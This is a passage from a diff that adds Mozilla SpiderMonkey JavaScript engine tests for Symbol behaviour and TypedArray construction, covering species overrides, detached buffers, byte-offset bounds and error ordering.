+ {sym: Symbol("ok"), str: "Symbol(ok)"},
+ {sym: Symbol("\0"), str: "Symbol(\0)"},
+ {sym: Symbol.iterator, str: "Symbol(Symbol.iterator)"},
+ {sym: Symbol.for("dummies"), str: "Symbol(dummies)"}
+];
+
+// Symbol.prototype.toString works on both primitive symbols and Symbol
+// objects.
+for (var test of cases) {
+ assertEq(test.sym.toString(), test.str);
+ assertEq(Object(test.sym).toString(), test.str);
+}
+
+// Any other value throws.
+var nonsymbols = [
+ undefined, null, "not-ok", new String("still-not-ok"), {}, []
+];
+for (var nonsym of nonsymbols)
+ assertThrowsInstanceOf(() => Symbol.prototype.toString.call(nonsym), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/toStringTag.js b/js/src/tests/non262/Symbol/toStringTag.js
new file mode 100644
index 0000000000..20aac2c42c
--- /dev/null
+++ b/js/src/tests/non262/Symbol/toStringTag.js
@@ -0,0 +1,155 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// ES6 19.1.3.6 Object.prototype.toString ( )
+function testToString() {
+ var tests = [
+ [undefined, "[object Undefined]"],
+ [null, "[object Null]"],
+ [[], "[object Array]"],
+ [new String("abc"), "[object String]"],
+ [(function () {return arguments;})(), "[object Arguments]"],
+ [(function () {"use strict"; return arguments;})(), "[object Arguments]"],
+ [function() {}, "[object Function]"],
+ [new Error("abc"), "[object Error]"],
+ [true, "[object Boolean]"],
+ [5, "[object Number]"],
+ [new Date(), "[object Date]"],
+ [/regexp/, "[object RegExp]"],
+ [{[Symbol.toStringTag]: "abc"}, "[object abc]"],
+ [Object.create(JSON), "[object JSON]"],
+ [Object.create(new Number), "[object Object]"],
+ [Object.create(new Number, {[Symbol.toStringTag]: {value: "abc"}}), "[object abc]"],
+ [(function() { var x = new Number(); x[Symbol.toStringTag] = "abc"; return x; })(), "[object abc]"],
+ [[], "[object Array]"]
+ ];
+
+ // Testing if the values are obtained the right way.
+ for (let [value, expected] of tests) {
+ let result = Object.prototype.toString.call(value);
+ assertEq(result, expected);
+ }
+}
+testToString();
+
+function testProxy() {
+ var count = 0;
+ var metaHandler = new Proxy({}, {
+ get(target, property, receiver) {
+ assertEq(property, "get");
+
+ return function(target, property, receiver) {
+ assertEq(property, Symbol.toStringTag);
+ count++;
+ return undefined;
+ }
+ }
+ });
+
+ assertEq(Object.prototype.toString.call(new Proxy({}, metaHandler)), "[object Object]")
+ assertEq(Object.prototype.toString.call(new Proxy(new Date, metaHandler)), "[object Object]")
+ assertEq(Object.prototype.toString.call(new Proxy([], metaHandler)), "[object Array]")
+ assertEq(Object.prototype.toString.call(new Proxy(function() {}, metaHandler)), "[object Function]")
+ var {proxy, revoke} = Proxy.revocable({}, metaHandler);
+ revoke();
+ assertThrowsInstanceOf(() => Object.prototype.toString.call(proxy), TypeError);
+
+ assertEq(count, 4);
+}
+testProxy();
+
+// Tests the passed objects toStringTag values and ensures it's
+// desc is writable: false, enumerable: false, configurable: true
+function testDefault(object, expected) {
+ let desc = Object.getOwnPropertyDescriptor(object, Symbol.toStringTag);
+ assertEq(desc.value, expected);
+ assertEq(desc.writable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+}
+
+// ES6 19.4.3.5 Symbol.prototype [ @@toStringTag ]
+testDefault(Symbol.prototype, "Symbol");
+
+// ES6 20.2.1.9 Math [ @@toStringTag ]
+testDefault(Math, "Math");
+
+// ES6 21.1.5.2.2 %StringIteratorPrototype% [ @@toStringTag ]
+testDefault(""[Symbol.iterator]().__proto__, "String Iterator")
+
+// ES6 22.1.5.2.2 %ArrayIteratorPrototype% [ @@toStringTag ]
+testDefault([][Symbol.iterator]().__proto__, "Array Iterator")
+
+// ES6 22.2.3.31 get %TypedArray%.prototype [ @@toStringTag ]
+function testTypedArray() {
+ let ta = (new Uint8Array(0)).__proto__.__proto__;
+ let desc = Object.getOwnPropertyDescriptor(ta, Symbol.toStringTag);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ assertEq(desc.set, undefined);
+
+ let get = desc.get;
+ assertEq(get.name, "get [Symbol.toStringTag]");
+ assertEq(get.call(3.14), undefined);
+ assertEq(get.call({}), undefined);
+ assertEq(get.call(ta), undefined);
+
+ let types = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array
+ ];
+
+ for (let type of types) {
+ let array = new type(0);
+ assertEq(get.call(array), type.name);
+ assertEq(Object.prototype.toString.call(array), `[object ${type.name}]`);
+ }
+}
+testTypedArray();
+
+// ES6 23.1.3.13 Map.prototype [ @@toStringTag ]
+testDefault(Map.prototype, "Map");
+
+// ES6 23.1.5.2.2 %MapIteratorPrototype% [ @@toStringTag ]
+testDefault(new Map()[Symbol.iterator]().__proto__, "Map Iterator")
+
+// ES6 23.2.3.12 Set.prototype [ @@toStringTag ]
+testDefault(Set.prototype, "Set");
+
+// ES6 23.2.5.2.2 %SetIteratorPrototype% [ @@toStringTag ]
+testDefault(new Set()[Symbol.iterator]().__proto__, "Set Iterator")
+
+// ES6 23.3.3.6 WeakMap.prototype [ @@toStringTag ]
+testDefault(WeakMap.prototype, "WeakMap");
+
+// ES6 23.4.3.5 WeakSet.prototype [ @@toStringTag ]
+testDefault(WeakSet.prototype, "WeakSet");
+
+// ES6 24.1.4.4 ArrayBuffer.prototype [ @@toStringTag ]
+testDefault(ArrayBuffer.prototype, "ArrayBuffer");
+
+// ES6 24.2.4.21 DataView.prototype[ @@toStringTag ]
+testDefault(DataView.prototype, "DataView");
+
+// ES6 24.3.3 JSON [ @@toStringTag ]
+testDefault(JSON, "JSON");
+
+// ES6 25.2.3.3 GeneratorFunction.prototype [ @@toStringTag ]
+testDefault(function* () {}.constructor.prototype, "GeneratorFunction");
+
+// ES6 25.3.1.5 Generator.prototype [ @@toStringTag ]
+testDefault(function* () {}().__proto__.__proto__, "Generator");
+
+// ES6 25.4.5.4 Promise.prototype [ @@toStringTag ]
+testDefault(Promise.prototype, "Promise");
+
+// AsyncFunction.prototype [ @@toStringTag ]
+testDefault(async function() {}.constructor.prototype, "AsyncFunction");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Symbol/typed-arrays.js b/js/src/tests/non262/Symbol/typed-arrays.js
new file mode 100644
index 0000000000..a07cf396bb
--- /dev/null
+++ b/js/src/tests/non262/Symbol/typed-arrays.js
@@ -0,0 +1,17 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol-to-number type conversions involving typed arrays.
+
+for (var T of [Uint8Array, Uint8ClampedArray, Int16Array, Float32Array]) {
+ // Typed array constructors convert symbols using ToNumber(), which throws.
+ assertThrowsInstanceOf(() => new T([Symbol("a")]), TypeError);
+
+ // Assignment does the same.
+ var arr = new T([1]);
+ assertThrowsInstanceOf(() => { arr[0] = Symbol.iterator; }, TypeError);
+ assertEq(arr[0], 1);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/typeof.js b/js/src/tests/non262/Symbol/typeof.js
new file mode 100644
index 0000000000..104ae66dfd
--- /dev/null
+++ b/js/src/tests/non262/Symbol/typeof.js
@@ -0,0 +1,11 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+assertEq(typeof Symbol(), "symbol");
+assertEq(typeof Symbol("ponies"), "symbol");
+assertEq(typeof Symbol.for("ponies"), "symbol");
+
+assertEq(typeof Object(Symbol()), "object");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/valueOf.js b/js/src/tests/non262/Symbol/valueOf.js
new file mode 100644
index 0000000000..a3823c3ffd
--- /dev/null
+++ b/js/src/tests/non262/Symbol/valueOf.js
@@ -0,0 +1,22 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var symbols = [
+ Symbol(),
+ Symbol("ok"),
+ Symbol.for("dummies"),
+ Symbol.iterator
+];
+
+for (var sym of symbols) {
+ assertEq(sym.valueOf(), sym);
+ assertEq(Object(sym).valueOf(), sym);
+}
+
+// Any other value throws.
+var nonsymbols = [undefined, null, NaN, {}, Symbol.prototype];
+for (var nonsym of nonsymbols)
+ assertThrowsInstanceOf(() => Symbol.prototype.valueOf.call(nonsym), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/well-known.js b/js/src/tests/non262/Symbol/well-known.js
new file mode 100644
index 0000000000..095d333a00
--- /dev/null
+++ b/js/src/tests/non262/Symbol/well-known.js
@@ -0,0 +1,42 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var names = [
+ "isConcatSpreadable",
+ "iterator",
+ "match",
+ "replace",
+ "search",
+ "species",
+ "hasInstance",
+ "split",
+ "toPrimitive",
+ "unscopables",
+ "asyncIterator"
+];
+
+for (var name of names) {
+ // Well-known symbols exist.
+ assertEq(typeof Symbol[name], "symbol");
+
+ // They are never in the registry.
+ assertEq(Symbol[name] !== Symbol.for("Symbol." + name), true);
+
+ // They are shared across realms.
+ if (typeof Realm === 'function')
+ throw new Error("please update this test to use Realms");
+ if (typeof newGlobal === 'function') {
+ var g = newGlobal();
+ assertEq(Symbol[name], g.Symbol[name]);
+ }
+
+ // Descriptor is all false.
+ var desc = Object.getOwnPropertyDescriptor(Symbol, name);
+ assertEq(typeof desc.value, "symbol");
+ assertEq(desc.writable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/Tconstructor-fromTypedArray-byteLength.js b/js/src/tests/non262/TypedArray/Tconstructor-fromTypedArray-byteLength.js
new file mode 100644
index 0000000000..6aadca5c81
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/Tconstructor-fromTypedArray-byteLength.js
@@ -0,0 +1,17 @@
+var g = newGlobal();
+
+var arr = [1, 2, 3];
+for (var constructor of anyTypedArrayConstructors) {
+ var tarr = new constructor(arr);
+ for (var constructor2 of anyTypedArrayConstructors) {
+ var copied = new constructor2(tarr);
+ assertEq(copied.buffer.byteLength, arr.length * constructor2.BYTES_PER_ELEMENT);
+
+ g.tarr = tarr;
+ copied = g.eval(`new ${constructor2.name}(tarr);`);
+ assertEq(copied.buffer.byteLength, arr.length * constructor2.BYTES_PER_ELEMENT);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/at.js b/js/src/tests/non262/TypedArray/at.js
new file mode 100644
index 0000000000..c9bc1697e2
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/at.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!Int32Array.prototype.at)
+
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.at.length, 1);
+
+ assertEq(new constructor([0]).at(0), 0);
+ assertEq(new constructor([0]).at(-1), 0);
+
+ assertEq(new constructor([]).at(0), undefined);
+ assertEq(new constructor([]).at(-1), undefined);
+ assertEq(new constructor([]).at(1), undefined);
+
+ assertEq(new constructor([0, 1]).at(0), 0);
+ assertEq(new constructor([0, 1]).at(1), 1);
+ assertEq(new constructor([0, 1]).at(-2), 0);
+ assertEq(new constructor([0, 1]).at(-1), 1);
+
+ assertEq(new constructor([0, 1]).at(2), undefined);
+ assertEq(new constructor([0, 1]).at(-3), undefined);
+ assertEq(new constructor([0, 1]).at(-4), undefined);
+ assertEq(new constructor([0, 1]).at(Infinity), undefined);
+ assertEq(new constructor([0, 1]).at(-Infinity), undefined);
+ assertEq(new constructor([0, 1]).at(NaN), 0); // ToInteger(NaN) = 0
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var at = newGlobal()[constructor.name].prototype.at;
+ assertEq(at.call(new constructor([1, 2, 3]), 2), 3);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.at.call(invalidReceiver);
+ }, TypeError, "Assert that 'at' fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).at(1), 2);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/browser.js b/js/src/tests/non262/TypedArray/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/browser.js
diff --git a/js/src/tests/non262/TypedArray/bug1526838.js b/js/src/tests/non262/TypedArray/bug1526838.js
new file mode 100644
index 0000000000..1d652f7783
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/bug1526838.js
@@ -0,0 +1,8 @@
+const testArray = [1n];
+for (const constructor of anyTypedArrayConstructors) {
+ assertThrowsInstanceOf(() => new constructor(testArray), TypeError);
+ assertThrowsInstanceOf(() => new constructor(testArray.values()), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species-wrap.js b/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species-wrap.js
new file mode 100644
index 0000000000..67a50fc915
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species-wrap.js
@@ -0,0 +1,63 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+let g = newGlobal();
+
+// Both TypedArray and ArrayBuffer from different global.
+for (let ctor of typedArrayConstructors) {
+ let a = g.eval(`new ${ctor.name}([1, 2, 3, 4, 5]);`);
+ for (let ctor2 of typedArrayConstructors) {
+ let b = new ctor2(a);
+ assertEq(Object.getPrototypeOf(b).constructor, ctor2);
+ assertEq(Object.getPrototypeOf(b.buffer).constructor, g.ArrayBuffer);
+ }
+}
+
+// Only ArrayBuffer from different global.
+let called = false;
+let origSpecies = Object.getOwnPropertyDescriptor(ArrayBuffer, Symbol.species);
+let modSpecies = {
+ get() {
+ called = true;
+ return g.ArrayBuffer;
+ }
+};
+for (let ctor of typedArrayConstructors) {
+ let a = new ctor([1, 2, 3, 4, 5]);
+ for (let ctor2 of typedArrayConstructors) {
+ called = false;
+ Object.defineProperty(ArrayBuffer, Symbol.species, modSpecies);
+ let b = new ctor2(a);
+ Object.defineProperty(ArrayBuffer, Symbol.species, origSpecies);
+ assertEq(called, true);
+ assertEq(Object.getPrototypeOf(b).constructor, ctor2);
+ assertEq(Object.getPrototypeOf(b.buffer).constructor, g.ArrayBuffer);
+ }
+}
+
+// Only TypedArray from different global.
+g.otherArrayBuffer = ArrayBuffer;
+g.eval(`
+var called = false;
+var origSpecies = Object.getOwnPropertyDescriptor(ArrayBuffer, Symbol.species);
+var modSpecies = {
+ get() {
+ called = true;
+ return otherArrayBuffer;
+ }
+};
+`);
+for (let ctor of typedArrayConstructors) {
+ let a = g.eval(`new ${ctor.name}([1, 2, 3, 4, 5]);`);
+ for (let ctor2 of typedArrayConstructors) {
+ g.called = false;
+ g.eval(`Object.defineProperty(ArrayBuffer, Symbol.species, modSpecies);`);
+ let b = new ctor2(a);
+ g.eval(`Object.defineProperty(ArrayBuffer, Symbol.species, origSpecies);`);
+ assertEq(g.called, true);
+ assertEq(Object.getPrototypeOf(b).constructor, ctor2);
+ assertEq(Object.getPrototypeOf(b.buffer).constructor, ArrayBuffer);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species.js b/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species.js
new file mode 100644
index 0000000000..4ff5118485
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species.js
@@ -0,0 +1,51 @@
+let logs = [];
+for (let ctor of typedArrayConstructors) {
+ let arr = new ctor([1, 2, 3, 4, 5, 6, 7, 8]);
+
+ let ctorObj = {};
+
+ let proxyProto = new Proxy({}, {
+ get(that, name) {
+ logs.push("get proto." + String(name));
+ if (name == "constructor")
+ return ctorObj;
+ throw new Error("unexpected prop access");
+ }
+ });
+
+ arr.buffer.constructor = {
+ get [Symbol.species]() {
+ logs.push("get @@species");
+ let C = new Proxy(function(...args) {
+ logs.push("call ctor");
+ return new ArrayBuffer(...args);
+ }, {
+ get(that, name) {
+ logs.push("get ctor." + String(name));
+ if (name == "prototype") {
+ return proxyProto;
+ }
+ throw new Error("unexpected prop access");
+ }
+ });
+ return C;
+ }
+ };
+
+ for (let ctor2 of typedArrayConstructors) {
+ logs.length = 0;
+ let arr2 = new ctor2(arr);
+ assertDeepEq(logs, ["get @@species", "get ctor.prototype"]);
+
+ logs.length = 0;
+ assertEq(Object.getPrototypeOf(arr2.buffer), proxyProto);
+ assertDeepEq(logs, []);
+
+ logs.length = 0;
+ assertEq(arr2.buffer.constructor, ctorObj);
+ assertDeepEq(logs, ["get proto.constructor"]);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-buffer-sequence.js b/js/src/tests/non262/TypedArray/constructor-buffer-sequence.js
new file mode 100644
index 0000000000..d69478344d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-buffer-sequence.js
@@ -0,0 +1,230 @@
+// 22.2.4.5 TypedArray ( buffer [ , byteOffset [ , length ] ] )
+
+// Ensure the various error conditions are tested in the correct order.
+
+const otherGlobal = newGlobal();
+
+function* createBuffers(lengths = [0, 8]) {
+ for (let length of lengths) {
+ let buffer = new ArrayBuffer(length);
+ yield {buffer, detach: () => detachArrayBuffer(buffer)};
+ }
+
+ for (let length of lengths) {
+ let buffer = new otherGlobal.ArrayBuffer(length);
+ yield {buffer, detach: () => otherGlobal.detachArrayBuffer(buffer)};
+ }
+}
+
+const poisonedValue = new Proxy({}, new Proxy({}, {
+ get() {
+ // Throws an exception when any proxy trap is invoked.
+ throw new Error("Poisoned Value");
+ }
+}));
+
+class ExpectedError extends Error { }
+
+function ConstructorWithThrowingPrototype(detach) {
+ return Object.defineProperty(function(){}.bind(null), "prototype", {
+ get() {
+ if (detach)
+ detach();
+ throw new ExpectedError();
+ }
+ });
+}
+
+function ValueThrowing(detach) {
+ return {
+ valueOf() {
+ if (detach)
+ detach();
+ throw new ExpectedError();
+ }
+ };
+}
+
+function ValueReturning(value, detach) {
+ return {
+ valueOf() {
+ if (detach)
+ detach();
+ return value;
+ }
+ };
+}
+
+// Ensure step 4 |AllocateTypedArray| is executed before step 6 |ToIndex(byteOffset)|.
+for (let {buffer} of createBuffers()) {
+ let constructor = ConstructorWithThrowingPrototype();
+
+ assertThrowsInstanceOf(() =>
+ Reflect.construct(Int32Array, [buffer, poisonedValue, 0], constructor), ExpectedError);
+}
+
+// Ensure step 4 |AllocateTypedArray| is executed before step 9 |IsDetachedBuffer(buffer)|.
+for (let {buffer, detach} of createBuffers()) {
+ let constructor = ConstructorWithThrowingPrototype();
+
+ detach();
+ assertThrowsInstanceOf(() =>
+ Reflect.construct(Int32Array, [buffer, 0, 0], constructor), ExpectedError);
+}
+
+// Ensure step 4 |AllocateTypedArray| is executed before step 9 |IsDetachedBuffer(buffer)|.
+// - Variant: Detach buffer dynamically.
+for (let {buffer, detach} of createBuffers()) {
+ let constructor = ConstructorWithThrowingPrototype(detach);
+
+ assertThrowsInstanceOf(() =>
+ Reflect.construct(Int32Array, [buffer, 0, 0], constructor), ExpectedError);
+}
+
+// Ensure step 4 |AllocateTypedArray| is executed before step 8.a |ToIndex(length)|.
+for (let {buffer} of createBuffers()) {
+ let constructor = ConstructorWithThrowingPrototype();
+
+ assertThrowsInstanceOf(() =>
+ Reflect.construct(Int32Array, [buffer, 0, poisonedValue], constructor), ExpectedError);
+}
+
+// Ensure step 6 |ToIndex(byteOffset)| is executed before step 9 |IsDetachedBuffer(buffer)|.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueThrowing();
+
+ detach();
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, 0), ExpectedError);
+}
+
+// Ensure step 6 |ToIndex(byteOffset)| is executed before step 9 |IsDetachedBuffer(buffer)|.
+// - Variant: Detach buffer dynamically.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueThrowing(detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, 0), ExpectedError);
+}
+
+// Ensure step 6 |ToIndex(byteOffset)| is executed before step 8.a |ToIndex(length)|.
+for (let {buffer} of createBuffers()) {
+ let byteOffset = ValueThrowing();
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, poisonedValue), ExpectedError);
+}
+
+// Ensure step 7 |offset modulo elementSize ≠ 0| is executed before step 9 |IsDetachedBuffer(buffer)|.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 1;
+
+ detach();
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, 0), RangeError);
+}
+
+// Ensure step 7 |offset modulo elementSize ≠ 0| is executed before step 9 |IsDetachedBuffer(buffer)|.
+// - Variant: Detach buffer dynamically.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueReturning(1, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, 0), RangeError);
+}
+
+// Ensure step 7 |offset modulo elementSize ≠ 0| is executed before step 8.a |ToIndex(length)|.
+for (let {buffer} of createBuffers()) {
+ assertThrowsInstanceOf(() => new Int32Array(buffer, 1, poisonedValue), RangeError);
+}
+
+// Ensure step 8.a |ToIndex(length)| is executed before step 9 |IsDetachedBuffer(buffer)|.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 0;
+ let length = ValueThrowing();
+
+ detach();
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), ExpectedError);
+}
+
+// Ensure step 8.a |ToIndex(length)| is executed before step 9 |IsDetachedBuffer(buffer)|.
+// - Variant: Detach buffer dynamically (1).
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueReturning(0, detach);
+ let length = ValueThrowing();
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), ExpectedError);
+}
+
+// Ensure step 8.a |ToIndex(length)| is executed before step 9 |IsDetachedBuffer(buffer)|.
+// - Variant: Detach buffer dynamically (2).
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 0;
+ let length = ValueThrowing(detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), ExpectedError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 11.a |bufferByteLength modulo elementSize ≠ 0|.
+for (let {buffer, detach} of createBuffers([1, 9])) {
+ let byteOffset = 0;
+
+ detach();
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset), TypeError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 11.a |bufferByteLength modulo elementSize ≠ 0|.
+// - Variant: Detach buffer dynamically.
+for (let {buffer, detach} of createBuffers([1, 9])) {
+ let byteOffset = ValueReturning(0, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset), TypeError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 11.c |newByteLength < 0|.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 64;
+
+ detach();
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset), TypeError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 11.c |newByteLength < 0|.
+// - Variant: Detach buffer dynamically.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueReturning(64, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset), TypeError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 12.b |offset+newByteLength > bufferByteLength|.
+// - Case A: The given byteOffset is too large.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 64;
+ let length = ValueReturning(0, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), TypeError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 12.b |offset+newByteLength > bufferByteLength|.
+// - Case B: The given length is too large.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 0;
+ let length = ValueReturning(64, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), TypeError);
+}
+
+// Ensure we handle the case when ToIndex(byteOffset) detaches the array buffer.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueReturning(0, detach);
+ let length = 0;
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), TypeError);
+}
+
+// Ensure we handle the case when ToIndex(length) detaches the array buffer.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 0;
+ let length = ValueReturning(0, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-byteoffsets-bounds.js b/js/src/tests/non262/TypedArray/constructor-byteoffsets-bounds.js
new file mode 100644
index 0000000000..ce213038d4
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-byteoffsets-bounds.js
@@ -0,0 +1,34 @@
+// 22.2.4.5 TypedArray ( buffer [ , byteOffset [ , length ] ] )
+
+// Test bound checks around for |byteOffset| and |length| arguments.
+
+const ab = new ArrayBuffer(0);
+
+for (let TA of typedArrayConstructors) {
+ // Test bound checks around INT32_MAX for |byteOffset| argument.
+ assertThrowsInstanceOf(() => new TA(ab, 2**31 - TA.BYTES_PER_ELEMENT), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**31 - 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**31), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**31 + 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**31 + TA.BYTES_PER_ELEMENT), RangeError);
+
+ // Test bound checks around UINT32_MAX for |byteOffset| argument.
+ assertThrowsInstanceOf(() => new TA(ab, 2**32 - TA.BYTES_PER_ELEMENT), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**32 - 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**32), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**32 + 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**32 + TA.BYTES_PER_ELEMENT), RangeError);
+
+ // Test bound checks around INT32_MAX for |length| argument.
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**31 - 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**31), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**31 + 1), RangeError);
+
+ // Test bound checks around UINT32_MAX for |length| argument.
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**32 - 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**32), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**32 + 1), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-generator.js b/js/src/tests/non262/TypedArray/constructor-iterable-generator.js
new file mode 100644
index 0000000000..233eeb9d92
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-generator.js
@@ -0,0 +1,16 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from generator.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 128)]) {
+ let typedArray = new constructor(function*(){ yield* array; }());
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator-next.js b/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator-next.js
new file mode 100644
index 0000000000..76eaaae46d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator-next.js
@@ -0,0 +1,28 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from array with modified array iterator next method.
+const ArrayIteratorPrototype = Object.getPrototypeOf([][Symbol.iterator]());
+const origNext = ArrayIteratorPrototype.next;
+const modifiedNext = function() {
+ let {value, done} = origNext.call(this);
+ return {value: value * 5, done};
+};
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 24)]) {
+ ArrayIteratorPrototype.next = modifiedNext;
+ let typedArray;
+ try {
+ typedArray = new constructor(array);
+ } finally {
+ ArrayIteratorPrototype.next = origNext;
+ }
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array.map(v => v * 5));
+ }
+}
+
